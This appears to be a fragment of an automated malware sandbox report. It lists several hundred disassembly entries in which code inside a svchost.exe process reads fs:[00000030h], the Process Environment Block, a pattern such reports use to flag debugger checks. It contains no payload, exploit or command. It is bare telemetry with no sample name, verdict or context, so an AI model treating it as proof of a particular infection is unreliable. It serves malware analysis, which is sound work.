Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A1E3 mov eax, dword ptr fs:[00000030h]	2_2_02D3A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A1E3 mov eax, dword ptr fs:[00000030h]	2_2_02D3A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A1E3 mov eax, dword ptr fs:[00000030h]	2_2_02D3A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A1E3 mov eax, dword ptr fs:[00000030h]	2_2_02D3A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A1E3 mov eax, dword ptr fs:[00000030h]	2_2_02D3A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF81EE mov eax, dword ptr fs:[00000030h]	2_2_02DF81EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF81EE mov eax, dword ptr fs:[00000030h]	2_2_02DF81EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5B1E0 mov eax, dword ptr fs:[00000030h]	2_2_02D5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5B1E0 mov eax, dword ptr fs:[00000030h]	2_2_02D5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5B1E0 mov eax, dword ptr fs:[00000030h]	2_2_02D5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5B1E0 mov eax, dword ptr fs:[00000030h]	2_2_02D5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5B1E0 mov eax, dword ptr fs:[00000030h]	2_2_02D5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5B1E0 mov eax, dword ptr fs:[00000030h]	2_2_02D5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5B1E0 mov eax, dword ptr fs:[00000030h]	2_2_02D5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D391E5 mov eax, dword ptr fs:[00000030h]	2_2_02D391E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D391E5 mov eax, dword ptr fs:[00000030h]	2_2_02D391E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D281EB mov eax, dword ptr fs:[00000030h]	2_2_02D281EB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D59194 mov eax, dword ptr fs:[00000030h]	2_2_02D59194
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D71190 mov eax, dword ptr fs:[00000030h]	2_2_02D71190
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D71190 mov eax, dword ptr fs:[00000030h]	2_2_02D71190
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D34180 mov eax, dword ptr fs:[00000030h]	2_2_02D34180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D34180 mov eax, dword ptr fs:[00000030h]	2_2_02D34180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D34180 mov eax, dword ptr fs:[00000030h]	2_2_02D34180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E051B6 mov eax, dword ptr fs:[00000030h]	2_2_02E051B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D631BE mov eax, dword ptr fs:[00000030h]	2_2_02D631BE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D631BE mov eax, dword ptr fs:[00000030h]	2_2_02D631BE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D641BB mov ecx, dword ptr fs:[00000030h]	2_2_02D641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D641BB mov eax, dword ptr fs:[00000030h]	2_2_02D641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D641BB mov eax, dword ptr fs:[00000030h]	2_2_02D641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E1A4 mov eax, dword ptr fs:[00000030h]	2_2_02D6E1A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E1A4 mov eax, dword ptr fs:[00000030h]	2_2_02D6E1A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6415F mov eax, dword ptr fs:[00000030h]	2_2_02D6415F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2A147 mov eax, dword ptr fs:[00000030h]	2_2_02D2A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2A147 mov eax, dword ptr fs:[00000030h]	2_2_02D2A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2A147 mov eax, dword ptr fs:[00000030h]	2_2_02D2A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC314A mov eax, dword ptr fs:[00000030h]	2_2_02DC314A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC314A mov eax, dword ptr fs:[00000030h]	2_2_02DC314A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC314A mov eax, dword ptr fs:[00000030h]	2_2_02DC314A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC314A mov eax, dword ptr fs:[00000030h]	2_2_02DC314A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D8717A mov eax, dword ptr fs:[00000030h]	2_2_02D8717A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D8717A mov eax, dword ptr fs:[00000030h]	2_2_02D8717A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E05149 mov eax, dword ptr fs:[00000030h]	2_2_02E05149
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D36179 mov eax, dword ptr fs:[00000030h]	2_2_02D36179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E03157 mov eax, dword ptr fs:[00000030h]	2_2_02E03157
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E03157 mov eax, dword ptr fs:[00000030h]	2_2_02E03157
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E03157 mov eax, dword ptr fs:[00000030h]	2_2_02E03157
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6716D mov eax, dword ptr fs:[00000030h]	2_2_02D6716D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113 mov eax, dword ptr fs:[00000030h]	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D60118 mov eax, dword ptr fs:[00000030h]	2_2_02D60118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5510F mov eax, dword ptr fs:[00000030h]	2_2_02D5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5510F mov eax, dword ptr fs:[00000030h]	2_2_02D5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5510F mov eax, dword ptr fs:[00000030h]	2_2_02D5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5510F mov eax, dword ptr fs:[00000030h]	2_2_02D5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5510F mov eax, dword ptr fs:[00000030h]	2_2_02D5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5510F mov eax, dword ptr fs:[00000030h]	2_2_02D5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5510F mov eax, dword ptr fs:[00000030h]	2_2_02D5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5510F mov eax, dword ptr fs:[00000030h]	2_2_02D5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5510F mov eax, dword ptr fs:[00000030h]	2_2_02D5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5510F mov eax, dword ptr fs:[00000030h]	2_2_02D5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5510F mov eax, dword ptr fs:[00000030h]	2_2_02D5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5510F mov eax, dword ptr fs:[00000030h]	2_2_02D5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5510F mov eax, dword ptr fs:[00000030h]	2_2_02D5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3510D mov eax, dword ptr fs:[00000030h]	2_2_02D3510D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEF13E mov eax, dword ptr fs:[00000030h]	2_2_02DEF13E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBA130 mov eax, dword ptr fs:[00000030h]	2_2_02DBA130
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D67128 mov eax, dword ptr fs:[00000030h]	2_2_02D67128
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D67128 mov eax, dword ptr fs:[00000030h]	2_2_02D67128
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5D6D0 mov eax, dword ptr fs:[00000030h]	2_2_02D5D6D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D306CF mov eax, dword ptr fs:[00000030h]	2_2_02D306CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFA6C0 mov eax, dword ptr fs:[00000030h]	2_2_02DFA6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD86C2 mov eax, dword ptr fs:[00000030h]	2_2_02DD86C2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAC6F2 mov eax, dword ptr fs:[00000030h]	2_2_02DAC6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAC6F2 mov eax, dword ptr fs:[00000030h]	2_2_02DAC6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D296E0 mov eax, dword ptr fs:[00000030h]	2_2_02D296E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D296E0 mov eax, dword ptr fs:[00000030h]	2_2_02D296E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3C6E0 mov eax, dword ptr fs:[00000030h]	2_2_02D3C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D356E0 mov eax, dword ptr fs:[00000030h]	2_2_02D356E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D356E0 mov eax, dword ptr fs:[00000030h]	2_2_02D356E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D356E0 mov eax, dword ptr fs:[00000030h]	2_2_02D356E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D566E0 mov eax, dword ptr fs:[00000030h]	2_2_02D566E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D566E0 mov eax, dword ptr fs:[00000030h]	2_2_02D566E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D38690 mov eax, dword ptr fs:[00000030h]	2_2_02D38690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBC691 mov eax, dword ptr fs:[00000030h]	2_2_02DBC691
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEF68C mov eax, dword ptr fs:[00000030h]	2_2_02DEF68C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40680 mov eax, dword ptr fs:[00000030h]	2_2_02D40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40680 mov eax, dword ptr fs:[00000030h]	2_2_02D40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40680 mov eax, dword ptr fs:[00000030h]	2_2_02D40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40680 mov eax, dword ptr fs:[00000030h]	2_2_02D40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40680 mov eax, dword ptr fs:[00000030h]	2_2_02D40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40680 mov eax, dword ptr fs:[00000030h]	2_2_02D40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40680 mov eax, dword ptr fs:[00000030h]	2_2_02D40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40680 mov eax, dword ptr fs:[00000030h]	2_2_02D40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40680 mov eax, dword ptr fs:[00000030h]	2_2_02D40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40680 mov eax, dword ptr fs:[00000030h]	2_2_02D40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40680 mov eax, dword ptr fs:[00000030h]	2_2_02D40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40680 mov eax, dword ptr fs:[00000030h]	2_2_02D40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF86A8 mov eax, dword ptr fs:[00000030h]	2_2_02DF86A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF86A8 mov eax, dword ptr fs:[00000030h]	2_2_02DF86A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D65654 mov eax, dword ptr fs:[00000030h]	2_2_02D65654
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3965A mov eax, dword ptr fs:[00000030h]	2_2_02D3965A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3965A mov eax, dword ptr fs:[00000030h]	2_2_02D3965A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6265C mov eax, dword ptr fs:[00000030h]	2_2_02D6265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6265C mov ecx, dword ptr fs:[00000030h]	2_2_02D6265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6265C mov eax, dword ptr fs:[00000030h]	2_2_02D6265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D33640 mov eax, dword ptr fs:[00000030h]	2_2_02D33640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4F640 mov eax, dword ptr fs:[00000030h]	2_2_02D4F640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4F640 mov eax, dword ptr fs:[00000030h]	2_2_02D4F640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4F640 mov eax, dword ptr fs:[00000030h]	2_2_02D4F640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6C640 mov eax, dword ptr fs:[00000030h]	2_2_02D6C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6C640 mov eax, dword ptr fs:[00000030h]	2_2_02D6C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2D64A mov eax, dword ptr fs:[00000030h]	2_2_02D2D64A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2D64A mov eax, dword ptr fs:[00000030h]	2_2_02D2D64A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D30670 mov eax, dword ptr fs:[00000030h]	2_2_02D30670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72670 mov eax, dword ptr fs:[00000030h]	2_2_02D72670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72670 mov eax, dword ptr fs:[00000030h]	2_2_02D72670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D27662 mov eax, dword ptr fs:[00000030h]	2_2_02D27662
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D27662 mov eax, dword ptr fs:[00000030h]	2_2_02D27662
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D27662 mov eax, dword ptr fs:[00000030h]	2_2_02D27662
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D43660 mov eax, dword ptr fs:[00000030h]	2_2_02D43660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D43660 mov eax, dword ptr fs:[00000030h]	2_2_02D43660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D43660 mov eax, dword ptr fs:[00000030h]	2_2_02D43660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6666D mov esi, dword ptr fs:[00000030h]	2_2_02D6666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6666D mov eax, dword ptr fs:[00000030h]	2_2_02D6666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6666D mov eax, dword ptr fs:[00000030h]	2_2_02D6666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC3608 mov eax, dword ptr fs:[00000030h]	2_2_02DC3608
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC3608 mov eax, dword ptr fs:[00000030h]	2_2_02DC3608
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC3608 mov eax, dword ptr fs:[00000030h]	2_2_02DC3608
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC3608 mov eax, dword ptr fs:[00000030h]	2_2_02DC3608
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC3608 mov eax, dword ptr fs:[00000030h]	2_2_02DC3608
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC3608 mov eax, dword ptr fs:[00000030h]	2_2_02DC3608
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5D600 mov eax, dword ptr fs:[00000030h]	2_2_02D5D600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5D600 mov eax, dword ptr fs:[00000030h]	2_2_02D5D600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEF607 mov eax, dword ptr fs:[00000030h]	2_2_02DEF607
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6360F mov eax, dword ptr fs:[00000030h]	2_2_02D6360F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04600 mov eax, dword ptr fs:[00000030h]	2_2_02E04600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D30630 mov eax, dword ptr fs:[00000030h]	2_2_02D30630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D60630 mov eax, dword ptr fs:[00000030h]	2_2_02D60630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB8633 mov esi, dword ptr fs:[00000030h]	2_2_02DB8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB8633 mov eax, dword ptr fs:[00000030h]	2_2_02DB8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB8633 mov eax, dword ptr fs:[00000030h]	2_2_02DB8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDD62C mov ecx, dword ptr fs:[00000030h]	2_2_02DDD62C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDD62C mov ecx, dword ptr fs:[00000030h]	2_2_02DDD62C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDD62C mov eax, dword ptr fs:[00000030h]	2_2_02DDD62C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D35622 mov eax, dword ptr fs:[00000030h]	2_2_02D35622
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D35622 mov eax, dword ptr fs:[00000030h]	2_2_02D35622
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6C620 mov eax, dword ptr fs:[00000030h]	2_2_02D6C620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEF7CF mov eax, dword ptr fs:[00000030h]	2_2_02DEF7CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E7E0 mov eax, dword ptr fs:[00000030h]	2_2_02D5E7E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D337E4 mov eax, dword ptr fs:[00000030h]	2_2_02D337E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D337E4 mov eax, dword ptr fs:[00000030h]	2_2_02D337E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D337E4 mov eax, dword ptr fs:[00000030h]	2_2_02D337E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D337E4 mov eax, dword ptr fs:[00000030h]	2_2_02D337E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D337E4 mov eax, dword ptr fs:[00000030h]	2_2_02D337E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D337E4 mov eax, dword ptr fs:[00000030h]	2_2_02D337E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D337E4 mov eax, dword ptr fs:[00000030h]	2_2_02D337E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D61796 mov eax, dword ptr fs:[00000030h]	2_2_02D61796
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D61796 mov eax, dword ptr fs:[00000030h]	2_2_02D61796
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE79D mov eax, dword ptr fs:[00000030h]	2_2_02DAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE79D mov eax, dword ptr fs:[00000030h]	2_2_02DAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE79D mov eax, dword ptr fs:[00000030h]	2_2_02DAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE79D mov eax, dword ptr fs:[00000030h]	2_2_02DAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE79D mov eax, dword ptr fs:[00000030h]	2_2_02DAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE79D mov eax, dword ptr fs:[00000030h]	2_2_02DAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE79D mov eax, dword ptr fs:[00000030h]	2_2_02DAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE79D mov eax, dword ptr fs:[00000030h]	2_2_02DAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE79D mov eax, dword ptr fs:[00000030h]	2_2_02DAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E017BC mov eax, dword ptr fs:[00000030h]	2_2_02E017BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E0B781 mov eax, dword ptr fs:[00000030h]	2_2_02E0B781
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E0B781 mov eax, dword ptr fs:[00000030h]	2_2_02E0B781
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D307A7 mov eax, dword ptr fs:[00000030h]	2_2_02D307A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFD7A7 mov eax, dword ptr fs:[00000030h]	2_2_02DFD7A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFD7A7 mov eax, dword ptr fs:[00000030h]	2_2_02DFD7A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFD7A7 mov eax, dword ptr fs:[00000030h]	2_2_02DFD7A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D52755 mov eax, dword ptr fs:[00000030h]	2_2_02D52755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D52755 mov eax, dword ptr fs:[00000030h]	2_2_02D52755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D52755 mov eax, dword ptr fs:[00000030h]	2_2_02D52755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D52755 mov ecx, dword ptr fs:[00000030h]	2_2_02D52755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D52755 mov eax, dword ptr fs:[00000030h]	2_2_02D52755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D52755 mov eax, dword ptr fs:[00000030h]	2_2_02D52755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A750 mov eax, dword ptr fs:[00000030h]	2_2_02D6A750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F75B mov eax, dword ptr fs:[00000030h]	2_2_02D2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F75B mov eax, dword ptr fs:[00000030h]	2_2_02D2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F75B mov eax, dword ptr fs:[00000030h]	2_2_02D2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F75B mov eax, dword ptr fs:[00000030h]	2_2_02D2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F75B mov eax, dword ptr fs:[00000030h]	2_2_02D2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F75B mov eax, dword ptr fs:[00000030h]	2_2_02D2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F75B mov eax, dword ptr fs:[00000030h]	2_2_02D2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F75B mov eax, dword ptr fs:[00000030h]	2_2_02D2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F75B mov eax, dword ptr fs:[00000030h]	2_2_02D2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE750 mov eax, dword ptr fs:[00000030h]	2_2_02DDE750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D63740 mov eax, dword ptr fs:[00000030h]	2_2_02D63740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6174A mov eax, dword ptr fs:[00000030h]	2_2_02D6174A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D60774 mov eax, dword ptr fs:[00000030h]	2_2_02D60774
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D34779 mov eax, dword ptr fs:[00000030h]	2_2_02D34779
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D34779 mov eax, dword ptr fs:[00000030h]	2_2_02D34779
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D42760 mov ecx, dword ptr fs:[00000030h]	2_2_02D42760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D71763 mov eax, dword ptr fs:[00000030h]	2_2_02D71763
